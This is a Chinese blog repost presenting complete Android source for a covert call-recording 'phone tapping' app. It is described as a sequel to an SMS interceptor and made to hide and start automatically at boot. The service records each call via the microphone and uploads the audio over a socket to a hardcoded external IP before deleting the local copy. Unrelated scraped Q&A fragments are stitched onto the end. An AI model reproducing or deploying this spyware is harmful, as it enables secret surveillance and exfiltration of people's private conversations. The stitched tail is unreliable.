- ubuntu12.04环境下使用kvm ioctl接口实现最简单的虚拟机
- Ubuntu 通过无线网络安装Ubuntu Server启动系统后连接无线网络的方法
- 在Ubuntu上搭建网桥的方法
- ubuntu 虚拟机上网方式及相关配置详解
CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.
这篇CFSDN的博客文章android电话窃听器(示例代码)由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.
在我上篇文章android短信监听工具(示例代码),开发了一个“短信监听工具”,是基于广播接收者实现的,有一些缺陷(例如:不能隐藏的很深,不能开机自动运行...) 。
在本实例中,将使用新的技术“服务”来解决这些缺陷.
package cn.itcast.phone,
。
import java.io.File; import java.io.OutputStream; import java.io.PushbackInputStream; import java.io.RandomAccessFile; import java.net.Socket,
import cn.itcast.utils.StreamTool,
import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.telephony.gsm.SmsManager; import android.util.Log,
public class PhoneListenService extends Service { private static final String TAG = "PhoneListenService",
@Override public void onCreate() { TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "service created"); super.onCreate(); } @Override public void onDestroy() {//清空缓存目录下的所有文件 File[] files = getCacheDir().listFiles(); if(files!=null){ for(File f: files){ f.delete(); } } Log.i(TAG, "service destroy"); super.onDestroy(); } 。
private class TelListener extends PhoneStateListener{ private MediaRecorder recorder; private String mobile; private File audioFile; private boolean record; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state){ case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */ if(record){ recorder.stop();//停止刻录 recorder.release(); record = false; new Thread(new UploadTask()).start(); Log.i(TAG, "start upload file"); } break; case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音(暂时只能监听到麦克风的声音信号,监听不到听筒的信号--只能监听到此人的说话,听不到对方说啥) recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare();//预期准备 recorder.start(); //开始刻录 record = true; break; case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */ Log.i(TAG, "incomingNumber:"+ incomingNumber); mobile = incomingNumber; break; default: break; } } catch (Exception e) { Log.e(TAG, e.toString()); } super.onCallStateChanged(state, incomingNumber); } private final class UploadTask implements Runnable{ @Override public void run() { try { Socket socket = new Socket("220.113.15.71", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); String response = StreamTool.readLine(inStream); String[] items = response.split(";"); String position = items[1].substring(items[1].indexOf("=")+1); RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r"); fileOutStream.seek(Integer.valueOf(position)); byte[] buffer = new byte[1024]; int len = -1; while( (len = fileOutStream.read(buffer)) != -1){ outStream.write(buffer, 0, len); } fileOutStream.close(); outStream.close(); inStream.close(); socket.close(); audioFile.delete(); } catch (Exception e) { Log.e(TAG, e.toString()); } } } } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } 。
} 。
。
package cn.itcast.phone,
。
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent,
public class BootBroadcastReceiver extends BroadcastReceiver { 。
@Override public void onReceive(Context context, Intent intent) { //android开机广播,开机后启动电话监听服务 Intent service = new Intent(context, PhoneListenService.class); context.startService(service); } 。
} 。
。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phone" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name=".PhoneListenService" /> <receiver android:name=".BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application> <uses-sdk android:minSdkVersion="7" /> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <!-- 访问网络的权限 --> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> 。
。
</manifest> 。
。
package cn.itcast.utils,
。
import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.PushbackInputStream,
public class StreamTool { public static void save(File file, byte[] data) throws Exception { FileOutputStream outStream = new FileOutputStream(file); outStream.write(data); outStream.close(); } public static String readLine(PushbackInputStream in) throws IOException { char buf[] = new char[128]; int room = buf.length; int offset = 0; int c; loop: while (true) { switch (c = in.read()) { case -1: case '\n': break loop; case '\r': int c2 = in.read(); if ((c2 != '\n') && (c2 != -1)) in.unread(c2); break loop; default: if (--room < 0) { char[] lineBuffer = buf; buf = new char[offset + 128]; room = buf.length - offset - 1; System.arraycopy(lineBuffer, 0, buf, 0, offset); } buf[offset++] = (char) c; break; } } if ((c == -1) && (offset == 0)) return null; return String.copyValueOf(buf, 0, offset); } /** * 读取流 * @param inStream * @return 字节数组 * @throws Exception */ public static byte[] readStream(InputStream inStream) throws Exception{ ByteArrayOutputStream outSteam = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while( (len=inStream.read(buffer)) != -1){ outSteam.write(buffer, 0, len); } outSteam.close(); inStream.close(); return outSteam.toByteArray(); } } 。
。
最后此篇关于android电话窃听器(示例代码)的文章就讲到这里了,如果你想了解更多关于android电话窃听器(示例代码)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我有一个包含姓名、电子邮件和内容文本区域的表单。一切正常,但当我尝试为手机号码添加 1 个表单输入时,表单不会提交。 Javascript: function hgsubmit() { i
所以我正试图在 Scheme 中找出整个 call/cc 的东西。下面是我正在使用的代码: (+ 1 (call/cc (lambda (k) (if (number? k)
所以我正试图在 Scheme 中找出整个 call/cc 的东西。下面是我正在使用的代码: (+ 1 (call/cc (lambda (k) (if (number? k)
我在 list 中有权限: 检查电话是否正在使用的代码可能会为无法接听电话的平板电脑等设备启动安全异常。所以,我制作了这个方法来检查是否设备可以使用 TelephonyManager: priva
我想知道 facebook API 允许 PHP 网页提取以下用户数据的先决条件是什么: 姓名 电子邮件 电话 据我了解,提取电话号码需要您的网站在 facebook/Websense 的白名单中吗?
我如何从我的应用程序调用特定号码的电话?给我一些执行此任务的逻辑或代码... 最佳答案 使用 UIApplication 的 openURL: 方法: [[UIApplication sharedAp
在 URI 中,空格可以编码为 + .既然如此,那么在创建具有国际前缀的 tel URI 时是否应该对前导加号进行编码? 哪个更好?两者在实践中都有效吗? Call me Call me 最佳答案 不
我正在尝试使用 Insomnia 调用 SOAP 电话 - 特别是试图让帖子成功。我将 URL 定义为端点,并将正文类型作为带有 SOAP 内容(信封、标题、正文)的 XML。我在标题中定义了用户 I
服务器有没有办法将一些数据无线无缝地推送到客户端,可能是 Windows(电话)、iPhone、Mac 或 Android 设备,没有任何操作系统集成? 如果是这样,最好的设计模式是什么,最好的技术是
我有一个搜索字段,我希望用户能够通过电话或电子邮件进行搜索。但是,我的 onclick 事件没有触发。我已经尝试过控制台工具,但似乎无法通过那里进行调试。 {% from "_form
如果重新加载接收调用的浏览器窗口,我将面临实时 Twilio 调用被丢弃的情况。有没有办法在不影响实时通话的情况下克服这种挫折? 最佳答案 Twilio 布道者在这里。 根据您的问题,我假设您使用的是
我试图在我的服务中减少我的 promise 对象。我有类似的东西 angular.module('myApp').service('testService', ['Employees','$q',
我想在我的java应用程序中构建一个电话调用器。为此,我使用了 JAIN-SIP 库。第一次 INVITE 后,系统需要代理身份验证。第二个邀请是在“AuthenticationHelperImpl.
两天前我正在开发一个 VOIP 应用程序,并成功地使用 Sinch 实现了一个普通的应用程序到应用程序调用。 .该应用程序运行良好。当我开始时,我在他们的文档中看到他们支持电话 session 。 现
我正在尝试创建一个 java 程序,它将创建 excel 文件并将其上传到谷歌驱动器中。上传后我需要它来授予权限。我已经完成了所有这些,但问题在于尝试将 excel 文件转换为 google 文件,以
我想使用 Android Sip 进行电话 session .那可能吗?有人可以举一个有效的例子吗?使用该库是否有任何限制,比如它可以在 3G 或 4G 上工作? 最佳答案 当前的 Android S
是否可以通过编程方式在 android 中接听电话? 我发现有些地方不可能,但后来安装了应用程序 https://play.google.com/store/apps/details?id=com.a
我试图在单击导航中的某个按钮后将一个类附加到 div。 $navButtons.on('click', navigationClick); // liseten to the navigation a
在 Monotouch 中是否有任何方法可以读取电话或调用者服务的当前状态? 我正在尝试寻找某种方式来读取通话是否处于事件状态或通话是否处于等待状态等。 用谷歌搜索没有找到任何结果。 希望运行一些代码
我可能正在搜索错误的内容,这可能解释了为什么我只能找到有关设置密码自动填充的信息。 我正在寻找用户能够在应用程序中输入电子邮件、电话、名字和姓氏的功能,就像某些网站能够做到的那样,选项出现在键盘上方。
我是一名优秀的程序员,十分优秀!